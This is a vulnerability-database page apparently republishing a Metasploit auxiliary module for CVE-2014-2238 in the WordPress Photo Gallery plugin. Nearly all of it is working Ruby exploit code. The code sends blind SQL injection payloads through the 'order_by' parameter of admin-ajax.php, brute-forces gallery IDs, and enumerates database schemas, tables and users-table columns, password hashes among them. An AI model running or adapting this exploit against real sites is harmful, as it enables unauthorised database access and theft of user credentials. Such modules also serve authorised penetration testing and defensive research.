Lucene search
K

Wordpress Photo Gallery Unauthenticated SQL Injection User Enumeration Exploit

🗓️ 14 Jan 2015 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 97 Views

Exploiting unauthenticated SQL Injection to enumerate Wordpress users' tables for password hashes on version 1.2.

Related
Code
##
# This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###

require 'msf/core'

class Metasploit4 < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Wordpress Photo Gallery Unauthenticated SQL Injection User Enumeration",
      'Description'    => %q{
      This module exploits an unauthenticated SQL injection in order to enumerate the Wordpress
      users tables, including password hashes. This module was tested against version 1.2.7.
      },
      'License'        => 'ExploitHub',
      'Author'         =>
        [
          'Brandon Perry <bperry.volatile[at]gmail.com>' #meatpistol module
        ],
      'References'     =>
        [
          ['CVE', '2014-2238'],
        ],
      'Platform'       => ['win', 'linux'],
      'Privileged'     => false,
      'DisclosureDate' => "Feb 28 2014"))

      register_options(
      [
        OptInt.new('GALLERYID', [false, 'Gallery ID to use. If not provided, the module will attempt to bruteforce one.', nil]),
        OptString.new('TARGETURI', [ true, 'Relative URI of Wordpress installation', '/'])
      ], self.class)
  end

  def get_params
    {
      'tag_id' => 0,
      'action' => 'GalleryBox',
      'current_view' => 0,
      'image_id' => 1,
      'gallery_id' => 1,
      'theme_id' => 1,
      'thumb_width' => 180,
      'thumb_height' => 90,
      'open_with_fullscreen' => 0,
      'open_with_autoplay' => 0,
      'image_width' => 800,
      'image_height' => 500,
      'image_effect' => 'fade',
      'sort_by' => 'order',
      'order_by' => 'asc',
      'enable_image_filmstrip' => 1,
      'image_filmstrip_height' => 70,
      'enable_image_ctrl_btn' => 1,
      'enable_image_fullscreen' => 1,
      'popup_enable_info' => 1,
      'popup_info_always_show' => 0,
      'popup_info_full_width' => 0,
      'popup_hit_counter' => 0,
      'popup_enable_rate' => 0,
      'slideshow_interval' => 5,
      'enable_comment_social' => 1,
      'enable_image_facebook' => 1,
      'enable_image_twitter' => 1,
      'enable_image_google' => 1,
      'enable_image_pinterest' => 0,
      'enable_image_tumblr' => 0,
      'watermark_type' => 'none',
      'current_url' => ''
    }
  end

  def bruteforce_gallery_id
    1.upto(666) do |i|
      get_vars = get_params
      get_vars['gallery_id'] = i
      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
        'vars_get' => get_vars
      })

      return i if res and res.body =~ /data\["0"\] = \[\];/
    end

    fail_with(Failure::Unknown, "Couldn't bruteforce a gallery ID, please explicitly supply a known good gallery ID")
  end

  def run
    gallery_id = datastore['GALLERYID']

    if gallery_id == 0
      print_status('No GALLERYID supplied, attempting bruteforce.')
      gallery_id = bruteforce_gallery_id
      print_status("Found a gallery with an ID of #{gallery_id}")
    end

    parms = get_params
    parms['gallery_id'] = gallery_id

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
      'vars_get' => parms
    })

    real_length = res.body.length

    count = nil
    1.upto(999) do |i|
      payload = ",(SELECT (CASE WHEN ((SELECT IFNULL(COUNT(DISTINCT(schema_name)),0x20) FROM INFORMATION_SCHEMA.SCHEMATA) BETWEEN 0 AND #{i}) THEN 0x2061736320 ELSE 3181*(SELECT 3181 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"

      res = send_injected_request(payload, gallery_id)

      count = i if res.body.length == real_length
      break if count
    end

    print_status("Looks like there are #{count} databases.")

    schemas = []
    0.upto(count-1) do |i|
      length = nil

      1.upto(999) do |c|
        payload = ",(SELECT (CASE WHEN ((SELECT IFNULL(CHAR_LENGTH(schema_name),0x20) FROM (SELECT DISTINCT(schema_name) "
        payload << "FROM INFORMATION_SCHEMA.SCHEMATA LIMIT #{i},1) AS pxqq) BETWEEN 0 AND #{c}) THEN 0x2061736320 ELSE 6586*"
        payload << "(SELECT 6586 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"

        res = send_injected_request(payload, gallery_id)

        length = c if res.body.length == real_length
        break if !length.nil?
      end

      print_status("Schema #{i}'s name has a length of #{length}. Getting name.")

      name = ''
      1.upto(length) do |l|
        126.downto(32) do |c|
          payload = ",(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(schema_name AS CHAR),0x20) FROM (SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT #{i},1) AS lela),#{l},1)) NOT BETWEEN 0 AND #{c}) THEN 0x2061736320 ELSE 7601*(SELECT 7601 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"

          res = send_injected_request(payload, gallery_id)

          vprint_status("Found char #{(c+1).chr}") if res.body.length == real_length
          name << (c+1).chr if res.body.length == real_length
          break if res.body.length == real_length
        end
      end
      schemas << name
      print_status("Found database #{name}")
    end

    schemas.delete('mysql')
    schemas.delete('performance_schema')
    schemas.delete('information_schema')

    schemas.each do |schema|
      num_tables = nil
      1.upto(999) do |i|
        payload = ",(SELECT (CASE WHEN ((SELECT IFNULL(COUNT(table_name),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x#{schema.unpack("H*")[0]}) BETWEEN 0 AND #{i}) THEN 0x2061736320 ELSE 8846*(SELECT 8846 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"

        res = send_injected_request(payload, gallery_id)

        num_tables = i if res.body.length == real_length
        break if num_tables
      end

      print_status("Schema #{schema} has #{num_tables} tables. Enumerating.")

      tables = []
      0.upto(num_tables - 1) do |t|
        length = nil
        0.upto(64) do |l|
          payload = ",(SELECT (CASE WHEN ((SELECT IFNULL(CHAR_LENGTH(table_name),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x#{schema.unpack("H*")[0]} LIMIT #{t},1) BETWEEN 0 AND #{l}) THEN 0x2061736320 ELSE 5819*(SELECT 5819 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"

          res = send_injected_request(payload, gallery_id)

          length = l if res.body.length == real_length
          break if length
        end

        print_status("Table #{t}'s name has a length of #{length}")

        name = ''
        1.upto(length) do |l|
          126.downto(32) do |c|
            payload = ",(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x#{schema.unpack("H*")[0]} LIMIT #{t},1),#{l},1)) NOT BETWEEN 0 AND #{c}) THEN 0x2061736320 ELSE 5819*(SELECT 5819 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"

            res = send_injected_request(payload, gallery_id)

            name << (c+1).chr if res.body.length == real_length
            vprint_status("Found char #{(c+1).chr}") if res.body.length == real_length
            break if res.body.length == real_length
          end
        end
        print_status("Found table #{name}")
        tables << name if name =~ /users$/
      end

      print_status("Found #{tables.length} possible user tables. Enumerating users.")

      tables.each do |table|
        table_count = ''
        char = 'a'

        i = 1
        while char
          char = nil
          58.downto(48) do |c|
            payload = ",(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{schema}.#{table}),#{i},1)) NOT BETWEEN 0 AND #{c}) THEN 0x2061736320 ELSE 8335*(SELECT 8335 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"

            res = send_injected_request(payload, gallery_id)

            char = (c+1).chr if res.body.length == real_length
            vprint_status("Found char #{char}") if char
            table_count << char if char
            break if char
          end
          i = i + 1
        end

        table_count = table_count.to_i

        print_status("Table #{table} has #{table_count} rows.")
        user_cols = ["ID", "user_url", "user_pass", "user_login", "user_email", "user_status", "display_name", "user_nicename", "user_registered", "user_activation_key"]

        0.upto(table_count-1) do |t|
          user_cols.each do |col|
            i = 1
            length = '0'
            char = 'a'

            while char
              char = nil
              58.downto(48) do |c|
                payload = ",(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(#{col}) AS CHAR),0x20) FROM #{schema}.#{table} ORDER BY ID LIMIT #{t},1),#{i},1)) NOT BETWEEN 0 AND #{c}) THEN 0x2061736320 ELSE 7837*(SELECT 7837 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"

                res = send_injected_request(payload, gallery_id)

                char = (c+1).chr if res.body.length == real_length
                vprint_status("Found char #{char}") if char
                length << char if char
                break if char
              end
              i = i + 1
            end

            length = length.to_i
            print_status("Column #{col} of row #{t} has a length of #{length}")
          end
        end
      end
    end
  end

  def send_injected_request(payload, gallery_id)
    parms = get_params
    parms['gallery_id'] = gallery_id
    parms['order_by'] = 'asc ' + payload

    return send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
      'vars_get' => parms
    })
  end

end


#  0day.today [2018-01-06]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jan 2015 00:00Current
7.7High risk
Vulners AI Score7.7
EPSS0.45353
97